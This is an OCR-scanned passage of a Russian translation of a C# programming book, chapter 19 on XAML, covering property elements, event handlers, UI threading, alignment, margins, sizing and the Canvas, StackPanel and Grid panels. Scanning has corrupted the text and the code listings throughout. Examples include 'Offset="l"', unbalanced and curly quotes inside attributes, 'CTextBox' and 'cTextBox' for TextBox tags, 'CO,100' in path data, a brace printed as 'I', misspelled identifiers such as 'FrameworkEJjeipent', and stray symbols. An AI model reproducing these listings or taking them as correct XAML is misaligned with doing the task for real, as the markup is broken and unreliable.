Глава 19 Margin = new Thickness(50, 50, 0, 0), Orientation = Orientation.Horizontal, Children = { useraaneLabel, usemaneText } }; He все вложенные XML-элементы представляют такой дочерний контент. Есть особая разновидность элементов, которые в такой ситуа- ции представляют свойства. Элементы свойств Хотя наиболее компактный способ представления свойств в XAML связан с использованием атрибутов, он не работает со сравнительно сложными типами свойств. Например, некоторые свойства содержат коллекции. Если конкретное свойство предназначено в конкретном эле- менте для содержания дочернего контента, то все хорошо — вы можете просто добавить несколько элементов-потомков. Так было сделано в ли- стинге 19.2 в элементах Grid и StackPanel. Но что если элемент имеет несколько свойств и все они должны содержать коллекции? А что если свойство имеет всего одно значение, но тип этого значения слишком сложен и данное значение не удается представить, скажем, в виде стро- ки? Допустим, мы хотим задать для свойства Background элемента Grid не ровный оттенок серого, а использовать градиентную заливку. В ли- стинге 19.5 показано, как это сделать. Листинг 19.5. Элемент свойства, содержащий фон с градиентной заливкой <Grid> <Grid.Background> <LinearGradientBrush StartPoint="0.5,0" EndPoint="0.5,1"> <GradientStop Color="Black" Offset="0"/> <GradientStop Color="#FF7785DE" Offset="0.148’7> <GradientStop Color="#FF323232n Offset="0.15"/> <GradientStop Color="Black" Offset="l"/> </LinearGradientBrush> </Grid.Background> как раньше Я удалил атрибут Background, который был у элемента Grid в листин- ге 19.2, и добавил элемент-потомоюс именем Grid.Background. Элемен- 948
XAML ты с такими двухчастными именами^ называются элементами свойств (property elements). Часть имени до точки — это название класса, опре- деляющего свойство; здесь мы имеем дело с классом Grid. Но вместо него вы могли бы указать имя базового класса или даже совершенно другой тип. XAML поддерживает прикрепляемые свойства (attachable properties), концептуально похожие на методы расширений, применяе- мые в С#. Они позволяют одному типу определять свойства, которые могут быть прикреплены к какому-то другому типу. Мы рассмотрим не- которые такие свойства далее в этой главе. Часть имени после точки — название свойства. Внутри элемента свойства находится другой элемент, представ- ляющий значение этого свойства. В данном случае я создаю объект типа LinearGradientBrush. Это довольно сложный тип, содержащий собственные-элементы потомки, определяющие различные оттенки, которые присутствуют в создаваемом градиенте. Эта конкретная кисть дает довольно темный фон, от черного внизу до бледно-голубого ввер- ху. На рис. 19.3 показано, как такая заливка будет выглядеть в XAML- конструкторе из Visual Studio. Рис. 19.3. Градиентный фон, предварительный просмотр в окне Visual Studio Обработка событий Все элементы пользовательского интерфейса порождают различные события. Некоторые из них употребляются постоянно — так, событие Loaded происходит, как только элемент пользовательского интерфейса создан, инициализирован и добавлен в дерево пользовательского ин- терфейса. Для элементов многих типов определяются дополнительные события, обусловленные работой конкретного элемента. Например, та- 949
Глава 19 ково событие TextChanged элемента TextBox, подробно рассмотренное в листинге 19.3. С его помощью мы узнавали, когда текст в текстовом поле меняется. Чтобы прикрепить обработчик, я использовал синтаксис С#, применяемый при обработке событий. Но в XAML это можно сде- лать и другим способом, продемонстрированным в листинге 19.6. Листинг 19.6. Прикрепление обработчиков событий в XAML CTextBox x:Name="usernameText" FontSize="14.667" Width="80" TextChanged="usernameText_TextChanged" /> Если имя атрибута соответствует событию, а не свойству, то зна- чение атрибута ссылается на имя метода в классе с отделенным ко- дом, как тот, что показан в листинге 19.7. Сгенерированный метод InitializeComponent, создающий объекты, указанные в XAML, в то же время подключает и все нужные обработчики событий. Листинг 19.7. Обработчик событий private void usernameText_TextChanged(object sender, TextChangedEventArgs e) { loginButton.IsEnabled = usernameText.Text.Length > 0; I Одна из областей, в которых значительно различаются XAML- фреймворки, — набор предлагаемых в них событий ввода. Это частично объясняется тем, что на момент появления WPF сенсорные экраны были редкостью — планшетные компьютеры считались экзотикой, а в каче- стве устройства ввода на большинстве из них использовался стилус. Но в настоящее время сенсорный экран для планшета — норма; кроме того, сенсорный ввод набирает популярность в качестве дополнительной воз- можности взаимодействия с ноутбуками и даже с экранами настольных компьютеров. Поскольку это сравнительно новые разработки, в более ранних фреймворках WPF и Silverlight названия событий ввода связа- ны со словом mouse (мышь), например MouseLef tButtonDown и MouseMove. Странно, но такая же ситуация сохраняется и в Windows Phone 7, несмо- тря на то что в данной операционной системе был реализован первый преимущественно сенсорный пользовательский интерфейс от Microsoft. В целом такая ситуация является наследием «сильверлайтовых» ис- токов той среды выполнения .NET, которая используется в Windows Phone. Windows Runtime смогла порвать с прошлым, эта среда вообще не упоминает мышь во всем наборе обычных событий ввода, наследу- 950
XAML ющих от FrameworkElement. FrameworkEJjeipent — базовый класс, от кото- рого производны все элементы пользовательского интерфейса. Вместо mouse в Windows Runtime используется более универсальный термин pointer (указатель), который может обозначать мышь, стилус или палец пользователя. Здесь у нас появились такие события, как PointerMoved и PointerPressed. Работа с потоками Прежде чем мы рассмотрим детали некоторых элементов пользо- вательского интерфейса, остановимся на последнем основополагаю- щем аспекте XAML, о котором необходимо знать. Для всех XAML- фреймворков характерна потоковая родственность, то есть элементы графического интерфейса должны использоваться из правильного по- тока. Как правило, в программе присутствует единственный поток, соз- дающий все элементы пользовательского интерфейса, и вы должны всякий раз прибегать к этому потоку, когда ваш код что-либо делает с элементами пользовательского интерфейса. Этот же поток поддержи- вает цикл обработки событий, получающий от операционной системы уведомления о вводе и направляющий их к соответствующим обработ- чикам событий. Таким образом, оперирование элементами пользова- тельского интерфейса в обработчиках событий этого интерфейса всегда безопасно. WPF также поддерживает несколько более сложную модель. Хотя все элементы пользовательского интерфейса внутри одного вышестоя- щего окна относятся к одному потоку, разные окна могут действовать каждое в своем потоке, если вы захотите. Это может быть полезно, если вам понадобится воспользоваться сторонним элементом управления, который вдруг зависнет. Если каждое окно работает в собственном по- токе, то в случае подвисания перестанет отвечать лишь одно окно, а не весь интерфейс. Такой прием бывает полезен при работе с экранами- заставками — так называются окна, отображаемые при открытии прило- жения, если на запуск этого приложения требуется сравнительно много времени. Если ваш основной поток пользовательского интерфейса тра- тит несколько секунд на то, чтобы подготовиться отвечать на ввод, то можно создать второй поток пользовательского интерфейса, где и будет находиться экран-заставка. Даже когда в WPF-приложении имеется несколько потоков пользо- вательского интерфейса, вы можете использовать любой объект этого 951
Глава 19 интерфейса только в том потоке, где он был создан. Вы просто можете иметь несколько потоков, создающих объекты пользовательского ин- терфейса. Любой такой поток должен будет вызывать метод Run класса Dispatcher, чтобы запускать цикл сообщений. Когда вы создаете новое WPF-приложение в Visual Studio, среда обеспечивает, чтобы главный поток вызывал этот метод автоматически. Поэтому только от вас зави- сит, понадобится ли вам еще один поток пользовательского интерфейса, откуда вы сможете запускать циклы самостоятельно. В XAML-разработке принято говорить о «потоке пользовательского интерфейса». В WPF такая формулировка немного неточна, так как мо- жет быть несколько таких потоков. Но вы можете читать эту фразу как «поток пользовательского интерфейса (содержащий те элементы ин- терфейса, с которыми мы сейчас работаем)» — тогда все будет правиль- но. На практике в WPF очень редко применяется больше одного потока пользовательского интерфейса, а другие XAML-фреймворки вообще не допускают, чтобы таких потоков было несколько. Поэтому в большин- стве случаев формулировка «поток пользовательского интерфейса» яв- ляется достаточно точной. В главе 17 было рассказано, как пользоваться классом Synchronizationcontext для вызова делегата в потоке пользова- тельского интерфейса, когда вы сами в данный момент в этом потоке не находитесь. Фреймворки XAML также предоставляют альтернативный механизм, называемый Dispatcher. Именно его оберткой в конечном итоге оказывается Synchronizationcontext, если вы используете его из XAML-приложения. И в WPF, и в Windows Runtime вы можете зада- вать относительный приоритет, с которым будут выполняться обратные вызовы при использовании Dispatcher напрямую. Так, вы можете ука- зать, должен ли Dispatcher обрабатываться до или после какого-либо пользовательского ввода, в настоящий момент находящегося в очереди сообщений. Тем не менее в двух упомянутых фреймворках эта возмож- ность предоставляется довольно по-разному. Хотя класс Dispatcher есть и в Silverlight, и в Windows Phone 7, в этих фреймворках он не оснащен таким механизмом приоритезации, поэтому не имеет никаких преиму- ществ перед Synchronizationcontext. Компоновка Независимо от того, какой вид пользовательского интерфейса вы создаете, потребуется каким-то образом расположить на экране его эле- менты. Зачастую вам также будет нужно, чтобы приложение могло дина- 952
XAML мически изменять положение и размеры элементов. Например, полноэ- кранное приложение для Windows 8 должно откликаться на изменения ориентации дисплея — ведь планшетные устройства могут использовать- ся и в книжном, и в альбомном формате. В локальных приложениях для ПК часто есть окна, размеры которых можно менять, а вы наверняка за- хотите максимально рационально задействовать экранное пространство. Внешние ограничения — не единственная причина, по которой нам могут понадобиться возможности динамической компоновки. Допу- стим, вы захотите менять макет окна вашего приложения в зависимо- сти от информации, которая будет в нем представлена. Например, мы можем корректировать ширину столбцов сетки в зависимости от содер- жимого таблицы, можем работать с какой-либо графически ориентиро- ванной информацией. Так, может понадобиться рассчитать параметры элемента в зависимости от размера содержащегося в нем растрового изображения. Во всех XAML-фреймворках предоставляется система компоновки, включающая в себя две разновидности инструментов, позволяющих адаптировать пользовательские интерфейсы в пространственном от- ношении. Существует набор распространенных свойств компоновки, которые доступны у всех элементов и позволяют работать, например, с выравниванием и отступами. Во фреймворках также предоставляется набор панелей — типов элементов пользовательского интерфейса, дей- ствующих как контейнеры и реализующих ту или иную стратегию ком- поновки своих элементов-потомков. Свойства Все элементы пользовательского интерфейса наследуют от базового класса, называемого FrameworkElement. Хотя возможности этого класса несколько отличаются в разных фреймворках, свойства, определяемые им для обработки макетов, одинаковы во всех вариантах XAML. Об этих свойствах мы поговорим в следующих разделах. Вероятно, наи- более важными являются свойства выравнивания, так как именно они определяют, где элемент окажется относительно своего предка. Выравнивание Элементы пользовательского интерфейса всегда находятся в том или ином контейнере, за исключением самого высокоуровневого эле- 953
Глава 19 мента, являющегося корнем дерева объектов пользовательского ин- терфейса. Корневой объект обычно наследует от Раде или Window, его размер и положение, как правило, определяются внешними факторами. Такими факторами могут быть действия пользователя, который может изменять размеры объекта в границах окна, предусмотренных операци- онной системой. Если речь идет о полноэкранном приложении, то его размеры соответствуют параметрам самого экрана. Но элементы внутри этого контейнера не обязательно подвергаются подобным ограничени- ям. Если элемент меньше, чем пространство, доступное в его контейне- ре, то мы должны решить, где именно будет находиться элемент. Здесь нам и пригодятся свойства, связанные с выравниванием. Мы задаем их для элемента-потомка, чтобы определять, как он будет располагаться внутри элемента-предка. Свойство HorizontalAlignment содержит значение перечислимого типа enum, также называемого HorizontalAlignment. Всего предлагается четыре таких значения. По умолчанию действует значение Stretch, фак- тически налагающее на элемент-потомок параметры элемента-предка. Как будет показано ниже, есть еще свойство Margin, которое немного усложняет эту ситуацию: ширина вышестоящего и нижестоящего эле- мента может отличаться, но тем не менее она определяется контейне- ром. Если вы выберете любое из трех других значений — Left, Right или Center, то элемент может самостоятельно определять свою ширину и в таком случае будет позиционироваться относительно контейнера в соответствии с названием выбранного свойства. Эти отношения про- иллюстрированы в листинге 19.8. Там у нас есть кнопки, каждая со сво- им видом выравнивания, все они — в одной и той же сетке. Листинг 19.8. Варианты выравнивания <Grid> <Button Content="Left" HorizontalAlignment="Left" /> <Button Content="Center" HorizontalAlignment="Center" /> <Button Content="Right" HorizontalAlignment='’Right" /> </Grid> Результат показан на рис. 19.4. Я добавил прямоугольный контур, чтобы обозначить границы сетки; не обращайте внимания на другой контур, простирающийся на всю ширину страницы. Это типографский элемент, присутствующий во всех иллюстрациях книги. Каждая кнопка оказывается именно там, где мы и хотели ее видеть. Как видите, цен- тральная кнопка немного шире остальных, это обусловлено длиной над- 954
XAML писи на ней. Кнопка справа шире той, что находится слева, из-за это- го создается впечатление, что средняя кнопка смещена относительно центра. Это только кажется, потому что пробел справа уже, чем пробел слева. На самом деле, здесь проиллюстрирован принцип расположения кнопок в зависимости от их содержимого. с ИЛ 1 *г Рис. 19.4. Выравнивание и подгонка по размерам содержимого Если оказывается, что контейнер предоставляет именно такую ши- рину, которая нужна для элемента-потомка, то различие между различ- ными параметрами горизонтального выравнивания отсутствует. Так, если элемент Ellipse шириной 100 пикселов содержится в элементе Grid, также шириной 100 пикселов, то, независимо от того, как вы вы- ровняете Ellipse относительно Grid — по верхнему, нижнему, право- му или левому краю, — он все равно займет контейнер по всей ширине, как и при значении Stretch. Например, если вы используете элемент StackPanel, показанный в листинге 19.2, и установите его свойство Orientation в значение Horizontal, то каждый элемент получит по гори- зонтали столько пространства, сколько ему требуется. Поэтому излиш- не указывать выравнивание HorizontalAlignment для элемента-потомка такой панели. Как вы уже, наверное, догадались, базовый класс FrameworkElement также определяет свойство VerticalAlignment. Отмечу, что оно прини- мает любое значение от перечислимого типа VerticalAlignment, которое может быть равно Top, Center, Bottom и Stretch. Здесь необходимо оговориться, что свойства выравнивания распола- гают элемент-потомок не относительно его контейнера, а относительно предоставляемой контейнером ячейки макета (layout slot). Это прямоу- гольная область, предлагаемая контейнером потомку. Некоторые кон- тейнеры могут помещать в одну и ту же ячейку несколько элементов, но другие, например StackPanel, предоставляют отдельную ячейку для каждого потомка. Поэтому потомки StackPanel не накладываются друг на друга. Именно от контейнера всегда зависит, где именно будет нахо- диться каждая из ячеек, и из этого проистекает важное следствие: у нас нет стандартных свойств компоновки, определяющих абсолютное поло- жение элемента. Разработчики, ранее не сталкивавшиеся с XAML, часто 955
Глава 19 начинают искать свойства X и Y или, например, Тор и Left, но в классе FrameworkElement такие свойства не определяются. Положение элемента всегда зависит от его предка, предок «решает», будет ли при расположе- нии использоваться какая-либо система координат. Ниже мы рассмо- трим элемент Canvas, который может задействовать координаты X/Y при позиционировании своих потомков. Несмотря на все вышесказан- ное, имеется стандартное свойство, обеспечивающее вам значительный контроль над расположением элементов, хотя из его названия это и не следует. Это свойство Margin. Поля и отступы Свойство Margin позволяет указывать, сколько места требуется оста- вить между краем элемента и краем его ячейки макета. Оно принимает до четырех чисел, соответствующих расстоянию* от левого, верхнего, правого и нижнего края (именно в таком порядке). Конструктор XAML в Visual Studio визуализирует поля, проводя линию между выделенным элементом и его контейнером. На линии ста- вится число, обозначающее величину поля по данному краю, как пока- зано'на рис. 19.5. Рис. 19.5. Поля в конструкторе XAML среды Visual Studio Самый очевидный способ использования Margin — обеспечение того, что между двумя элементами гарантированно останется свободное про- странство. По умолчанию между смежными элементами StackPanel ни- какого промежутка не будет, но вы можете добавить его при помощи * В XAML используются единицы, называемые -«пикселами», но они не всегда соот- ветствуют физическим пикселам на экране. По умолчанию такое соответствие соблюда- ется, но если вы сконфигурируете в Windows пользовательское значение DPI (количество точек на дюйм) или иным образом откорректируете настройки, отвечающие за размеры экранных элементов, то XAML масштабирует содержимое соответствующим образом. 956
XAML свойства Margin. В листинге 19.9 показан элемент StackPanel, первые несколько потомков которого не имеют поля, а у остальных есть нену- левое поле. Листинг 19.9. Потомки элемента StackPanel с полем и без него <StackPanel Margin="20" HorizontalAlignment="Left"> <Rectangle Fill="Gray" Width="100" Height="25" /> <Rectangle Fill="LightGray" Width="100" Height="25" /> <Rectangle Fill="Gray" Width="100" Height="25" /> <Rectangle Margin="10" Fill="LightGray" Width="100" Height=”25" /> <Rectangle Margin="10" Fill="Gray" Width="100" Height="25" /> <Rectangle Margin="10" Fill="LightGray" Width="100" Height="25" /> </StackPanel> Как показано на рис. 19.6, элементы с ненулевым полем разделены промежутками. Кстати, поля в XAML не объединяются, а «накаплива- ются» — их значения складываются друг с другом. Таким образом, если у вас есть два смежных элемента, каждый из которых имеет поля по 10 пикселов, то между ними образуется промежуток шириной 20 пик- селов. Не все системы компоновки работают именно так. В некоторых редакторах для компоновки текста считается, что если два смежных эле- мента имеют поля по 10 пикселов, то движок разметки оставит между ними одно поле шириной 10 пикселов. Но в XAML макет страницы определяется как сумма ячеек, а поле находится между границей ячейки и ее содержимым. Таким образом, каждый элемент получает свое поле. Рис. 19.6. Эффект применения полей в StackPanel Из рис. 19.6 также понятно, что если вы хотите сделать одинаковое поле со всех четырех сторон, то нужно указать в качестве значения для 957
Глава 19 свойства Margin всего одно число. Вы также можете задать два числа, и в этом случае первое будет определять размер левого и правого поля, а второе — размер верхнего и нижнего поля. Менее очевидный способ применения свойства Margin заключается в следующем: с его помощью можно контролировать положение эле- мента. Если установить свойство HorizontalAlignment того или иного элемента в значение Left, то размер левого поля определяет, как далеко элемент должен располагаться от левого края своей ячейки. При этом элемент сам будет определять свою ширину. Правое поле проигнориру- ется, если ширина контейнера фиксированная. Если самому контейнеру «поручено» определять собственную ширину (допустим, ваш элемент обернут в Border, который сам находится в горизонтальной StackPanel), то ширина контейнера будет получена сложением ширины потомка и обоих горизонтальных полей. Итак, поле фактически определяет по- ложение элемента-потомка в отведенной ему ячейке макета. В листин- ге 19.2 мы воспользовались как раз этой возможностью: здесь у нас есть элемент Grid, содержащий два элемента StackPanel. У обоих StackPanel выравнивание указано слева и сверху (Left и Тор), а для определения своего положения в сетке по ширине эти элементы используют свойство Grid. По умолчанию все элементы-потомки Grid попадают в одну и ту же ячейку макета, в У некоторых элементов определяется схожее свойство, называемое Padding. Если Margin указывает, сколько места нужно оставить вокруг элемента, то Padding определяет пространство между границей элемента и его содержимым. Например, в случае с Button свойство Padding задает ширину свободного пространства между контуром кнопки и надписью на ней. Фактически Padding - это поле между контуром и содержимым. Не все элементы обладают свойством Padding, поскольку не каждая сущность может иметь содержимое. Например, вы не можете поместить элемент-потомок в Ellipse. Ширина и высота Я показал четыре способа, позволяющие определить ширину и вы- соту элемента. Если вы установите для свойств выравнивания значение Stretch, то параметры потомков будут зависеть от размеров отведенной им ячейки макета, а не от полей. Если вы зададите для свойств вырав- нивания какие-либо другие значения, то при наличии достаточного ко- личества места элемент сам выберет свои размеры. Такая модель иногда называется выравниванием по содержимому (size to content). 958
XAML “ Решение о выравнивании по содержимому применяется от- . дельно по каждой из четырех сторон. Так, у любого элемента Д?*‘по вертикали может действовать выравнивание по содержи- мому, а по горизонтали — нет, и наоборот. Применять выравнивание по содержимому целесообразно с некото- рыми видами элементов. Текстовые элементы (те, что содержат текст, на- пример, кнопка Button с надписью) имеют присущий им строгий размер, зависящий от текста, гарнитуры и кегля шрифта. Некоторые графические элементы — например, растровые рисунки и видео, — также имеют есте- ственный размер. Но такая ситуация складывается не со всеми элемен- тами. Скажем, Ellipse не имеет какого-либо «желательного» размера^ и, если вы зададите ему самостоятельно выбирать себе размер, он выберет значение 0. Так что иногда бывает полезно четко указывать размер. Поэтому XAML определяет для всех элементов свойства Width и Height. Может возникнуть соблазн делать так действительно с любы- ми элементами, притом, что даже XAML-конструктор из Visual Studio слишком с этим усердствует. В зависимости от того, кЯк вы добавляете элементы, вы можете решить явно задавать размеры для каждого из них. Обычно бывает рациональнее разрешать текстовым элементам подби- рать себе размер самостоятельно, так как в противном случае вы можете нечаянно обрезать часть текста. Явно задаваемые свойства Width или Height переопределяют значе- ние горизонтального или вертикального выравнивания Stretch. Неза- чем одновременно указывать и длину/ширину, и значение Stretch: го- ризонтальное выравнивание Stretch делает элемент равным по ширине своему контейнеру. Поэтому если вы укажете и горизонтальное значе- ние Stretch, и значение Width, то фактически попытаетесь задать шири- ну сразу двумя разными способами. То же касается VerticalAlignment и Height. Свойства Width и Height имеют приоритет, так как Stretch является стандартным вариантом выравнивания для многих элемен- тов. Поэтому если бы оно имело приоритет, то при его наличии Width и Height ничего бы не делали, если бы вы специально не задали другие параметры выравнивания. Могла бы возникать путаница. И для width, и для Height по умолчанию применяется значение Double.NaN — особая константа, где NaN означает «не число». 3?‘‘Как правило, эта константа представляет результаты опреде- ленных ошибочных вычислений, например возникает при по- 959
Глава 19 пытке разделить 0.0 на 0.0, но в контексте XAML эта аббре- виатура означает, что числовому свойству пока не присвоено значение. Свойства Width и Height фактически являются лишь запросами к си- стеме компоновки. Могут действовать ограничения, не позволяющие ва- шему элементу получить требуемые размеры. Если вы хотите узнать, ка- кой размер в итоге оказался у элемента, можно использовать в отделенном коде свойства ActualHeight и Actualsize, доступные только для чтения. Можно задать для размеров элемента более гибкие ограничения, это делается при помощи свойств MinWidth, MinHeight, MaxWidth и MaxHeight. Max-версии этих свойств полезны в случаях, когда при необходимости может быть предоставлено дополнительное место в макете, но вы хо- тите ограничить размеры, до которых может вырасти данный элемент. В листинге 19.10 показан объект Ellipse, чье свойство установлено в HorizontalAlignment, но также имеет параметр MaxWidth, равный 200. Листинг 19.10. Свойство MaxWidth <Border Bordergrush='’Black'’ BorderThickness=”2"> <Ellipse HorizontalAlignment="Stretch" MaxWidth=”200" Fill="Gray" /> </Border> Элемент будет расти по мере увеличения его контейнера, но только до заданного предела. Как только объемлющий элемент предоставит ячейку макета шире 200 пикселов, рост элемента остановится. На рис. 19.7 вы мо- жете посмотреть, как выглядит результат листинга 19.10 при переменных размерах доступного пространства. Контуры элемента Border показыва- ют, сколько места у нас есть. Как видите, когда элемент достигает мак- симальной ширины, по бокам у него еще остается место, так как ширина контейнера превышает максимальное значение ширины элемента. Рис. 19.7. Свойство MaxWidth Свойства MinWidth и MinHeight полезны в тех случаях, когда элементу понадобится автоматически определять свой размер. Например, обычно 960
XAML требуется, чтобы кнопка могла масштабировать свое содержимое таким образом, чтобы на ней умещалась ее надпись. А если вы планируете под- держивать локализацию вашего пользовательского интерфейса, просто выбрать фиксированный размер кнопки недостаточно, так как в разных языках длина надписи будет существенно варьироваться. Поэтому при локализации вам понадобится макет, который позволяет подгонять раз- мер кнопки по ее содержимому. Есть и еще один момент: вряд ли вы захотите, чтобы очень короткая надпись, например «ОК», получилась очень мелкой. Особенно важно это учитывать при подготовке макета для сенсорного экрана, кнопки на котором должны быть достаточно крупными, чтобы пользователь попадал по ним пальцем. Устанавливая значение MinWidth, мы гарантируем, что элемент не станет меньше за- данного размера, но при необходимости сможет увеличиться. л Самые распространенные свойства компоновки, описанные выше, — это лишь верхушка айсберга. Как вы убедитесь, точное поведение многих из этих свойств зависит от контекста, в котором они используются, — например, насколько ограничен элемент, может ли он масштабировать свое содержимое в одном или в обоих направлениях. Более того, поло- жение и размер элемента определяются ячейкой, где он находится. Да- вайте рассмотрим, от чего зависит положение этой ячейки и следует ли ограничивать выбор такого положения. Панели В XAML определяется несколько панелей — элементов, которые могут содержать по несколько потомков и использовать ту или иную стратегию при их расположении. Применяемые подходы варьируются от очень простых (обычное накладывание элементов друг на друга) до довольно сложных. Так, существуют специализированные панели, под- держивающие некоторые распространенные варианты компоновки сен- сорных интерфейсов. Начнем с самой простой из существующих пане- лей — Canvas. Одно из отношений, в котором отличаются разные XAML- 4 ш фреймворки, заключается в наборе предлагаемых в них Д?'панелей. Те панели, что я опишу здесь, доступны во всех XAML-фреймворках. Панели, специфичные для отдельных фреймворков, я назову отдельно, когда мы будем рассматри- вать их в соответствующем контексте. 961
Глава 19 Canvas Панель Canvas никак не регулирует положение своих элементов- потомков. Она ставит их там, где вы их поместите. Вы можете пользо- ваться свойствами Canvas.Left и Canvas.Тор*, как показано в листин- ге 19.11. Это прикрепляемые свойства. Как я упоминал выше, они принципиально похожи на методы рас- ширений, описанные в главе 3. Класс может определять свойство, ко- торое, в свою очередь, может прикрепляться к элементам других типов. Поскольку Canvas поддерживает абсолютное расположение, эта панель определяет собственные свойства Left и Тор. Включать их в стандарт- ный набор свойств макета нецелесообразно, так как другие панели не поддерживают такую модель позиционирования. Листинг 19.11. Холст с графическим контентом <Canvas> <Ellipse Canvas.Left="20" Canvas.Top="20" Width="350" Height="350" Fill="Yellow" Stroke="Black" StrokeThickness="2"/> <Ellipse Canvas.Left="90" Canvas.Top="94" Width="70" Height="70" Fill="Black" /> <EllipsebCanvas.Left="240" Canvas.Top="94" Width="70" Height="70" Fill="Black" /> <Path Canvas.Top="220" Canvas.Left="120" StrokeThickness="15" Stroke="Black" StrokeStartLineCap="Round" StrokeEndLineCap="Round" Data="M0,0 CO,100 150,100 150,0" /> </Canvas> На рис. 19.8 показан результат листинга 19.11. Canvas удобно ис- пользовать с графическим контентом, так как эта панель позволяет вам точно контролировать положение каждого элемента. Все элементы- потомки Canvas могут самостоятельно определять свой размер. Разуме- ется, основным недостатком Canvas является полная негибкость. Для макета пользовательского интерфейса такая панель не подходит, так как она не может адаптироваться ни к доступному пространству, ни к ото- бражаемому содержимому. * В WPF также определяются свойства Canvas. Right и Canvas .Bottom, поэтому в данном фреймворке вы можете располагать элементы относительно любого края па- нели. 962
XAML Рис- 19-8- Графические элементы на панели Canva^ StackPanel Следующая по сложности панель называется StackPanel. Как вы уже видели, она располагает свои элементы в виде горизонтального или вер- тикального стека. Направление расположения определяется свойством Orientation панели. Каждый элемент-потомок получает свою ячейку и эти ячейки не накладываются друг на друга. Они выходят смежны- ми, поэтому если вы не хотите, чтобы они соприкасались, для каждого элемента-потомка необходимо задать свойство Margin. StackPanel позволяет подгонять размеры элементов под их содержи- мое в том направлении, в котором ориентирован стек. Что касается вто- рого направления, ситуация зависит от того, требуем ли мы от StackPanel масштабировать ее содержимое. Если вы ограничите StackPanel в на- правлении, не совпадающем с ориентацией стека (например, жестко зададите высоту горизонтальной StackPanel), то каждый из элементов панели получит ячейку именно такой высоты. Но если мы приказываем горизонтальной StackPanel масштабировать содержимое по вертикали, панель запросит у всех своих потомков информацию о том, какой высо- ты они «хотят быть», а потом выберет максимальное из полученных зна- чений. Это значение будет соответствовать не только высоте StackPanel, но и высоте каждой из ячеек макета с ее элементами. Поэтому некото- рые элементы могут стать выше, чем им требовалось. Такая ситуация проиллюстрирована в листинге 19.12. Во фреймворке Windows Runtime Button — один из немногих элементов, чье свойство VerticalAlignment 963
Глава 19 по умолчанию имеет значение Center. Поэтому для получения более точной иллюстрации я задал для всех элементов значение Stretch. Листинг 19.12. Панель StackPanel с элементами различных размеров <StackPanel Orientation="Horizontal" VerticalAlignment="Top"> <Button Content="OK" VerticalAlignment="Stretch" /> <Button Content="OK" FontSize=’'50" VerticalAlignment="Stretch" /> <Button Content=”OK" FontSize="30’' VerticalAlignment="Stretch" /> <Button Content="OKn FontSize="20" VerticalAlignment=,’Stretch’' /> </StackPanel> Эта панель StackPanel содержит несколько кнопок, для каждой из которых задано свое значение Fontsize (размер шрифта). Свойство VerticalAlignment имеет значение Тор, то есть происходит подгонка кон- тента по вертикали, независимо от того, сколько места выделяет под панель объемлющий элемент. Если объемлющий элемент решит, что на панели должна выполняться подгонка под содержимое, то это безуслов- но произойдет. Но если элемент-предок решит поместить StackPanel в ячейку макета, высота которой жестко задана, то содержимое панели все равно будет масштабироваться, так как для него затребована ориен- тация по верхнему краю ячейки макета, а не заполнение всей ячейки (не Stretch). На рис. 19.9 показано, что все элементы получили одинаковое значение высоты, хотя из-за разных размеров шрифта они, естественно, должны были бы различаться по высоте. ним Рис. 19.9. Все элементы-потомки панели StackPanel получают одинаковую высоту Панели могут содержать в качестве потомков и другие элементы. Это означает, что вы можете создать стек из стеков. В листинге 19.13 проде- монстрирован альтернативный способ добиться такой же компоновки, как и в листинге 19.2. Вместо расположения каждого из двух стеков от- носительно содержащей его сетки Grid при помощи свойства Margin код помещает оба стека в вертикальную StackPanel. Видимый эффект не от- личается, но во втором случае мы получаем следующее преимущество: 964
XAML теперь у нас есть один элемент, где находятся и два текстовых поля, и их надписи. Вы можете свободно перемещать весь этот комплект в вашем макете и не волноваться о том, что расположение элементов относитель- но друг друга может нарушиться. Листинг 19.13. Стек стеков <Grid Background^ #FFDEDEDE"> <StackPanel Margin="50, 50, 0, 0" Orientation="Vertical" HorizontalAlignment="Left" VerticalAlignment="Top"> <StackPanel Orientation="Horizontal"> CTextBlock Text="Username" FontSize="14.667" Foreground="Black" Width="80" VerticalAlignment="Center" /> cTextBox x:Name="usernameText" Width="150" Margin="10,10,10,10" /> </StackPanel> <StackPanel Orientation="Horizontal"> CTextBlock Text="Password" FontSize="14.667" Foreground="Black" Width="80" VerticalAlignment="Center" /> cPasswordBox x:Name="passwordText'* Width="150" Margin="10,10,10,10" /> </StackPanel> </StackPanel> </Grid> На самом деле существует еще более оптимальный способ достиже- ния интересующей нас компоновки. В коде из листинга 19.13 есть про- блема: пришлось задать для двух надписей фиксированные размеры, чтобы все было выровнено правильно. Так можно легко обрезать текст. Элемент Grid предоставляет более гибкий способ решения задачи. Grid Панель Grid (сетка) позволяет делить пространство на строки и столбцы. Она определяет свойства, которые можно прикреплять к каждому элементу-потомку; так мы будем указывать, к какой строке и какому столбцу принадлежит этот элемент. В листинге 19.14 показана сетка с двумя строками и тремя столбцами. Три прямоугольника рас- положены в шахматном порядке при помощи прикрепляемых свойств. Результат вы видите на рис. 19.10. 965
Глава 19 Листинг 19.14. Простая панель Grid <Grid> <Grid.ColumnDefinitions> <ColumnDefinition /> <ColumnDefinition /> <ColumnDefinition /> </Grid.ColumnDefinitions> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> <Rectangle Fill="Black" Grid.Row="l" Grid.Column="0" /> <Rectangle Fill="Black" Grid.Row="0" Grid.Column="l" /> <Rectangle Fill="Black" Grid.Row="l" Grid.Column="2" /> </Grid> Рис. 19.10. Сетка 3x2 Ничего не мешает вам поместить несколько элементов-потомков в одну и ту же ячейку сетки — элемент Grid поддерживает размещение такого накладывающегося содержимого. Так, вы не можете добавлять потомки к графическим элементам, например Ellipse или Rectangle, но Grid позволяет вам располагать элементы так, что они «окажутся» внутри эллипса или прямоугольника, хотя в дереве элементов останутся абсолютно не связанными. В листинге 19.15 представлен код несколь- ких фигур с надписями, в которых используется этот прием; результат демонстрирует рис. 19.11. Листинг 19.15. Фигуры с надписями <Grid Width="150" Height="100"> <Grid.ColumnDefinitions> <ColumnDefinition /> <ColumnDefinition /> 966
